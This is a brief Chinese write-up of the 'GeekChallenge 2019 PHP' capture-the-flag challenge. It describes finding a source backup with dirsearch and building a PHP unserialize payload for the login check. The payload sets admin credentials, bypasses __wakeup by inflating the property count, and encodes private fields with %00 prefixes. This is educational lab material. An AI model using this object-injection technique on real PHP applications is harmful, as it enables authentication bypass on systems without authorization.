13.[极客大挑战 2019]PHP
打开直接提示备份,用dirsearch直接扫描。
扫描初www.zip,解压发现有三个文件,index、class、flag。通过查看文件代代码
主要看index和class文件,index中意思用反序列化输出select值。class中需要username为admin,password为100,
所以我们直接构造payload:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
由于使用wakeup魔术引号来对username进行重新赋值,使得为geust,所以需要绕过wakeup,当变量个数大于原有个数就可以跳过wakeup
改造payload:
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
由于username和password 为private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度
改造payload:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
直接在URL中输入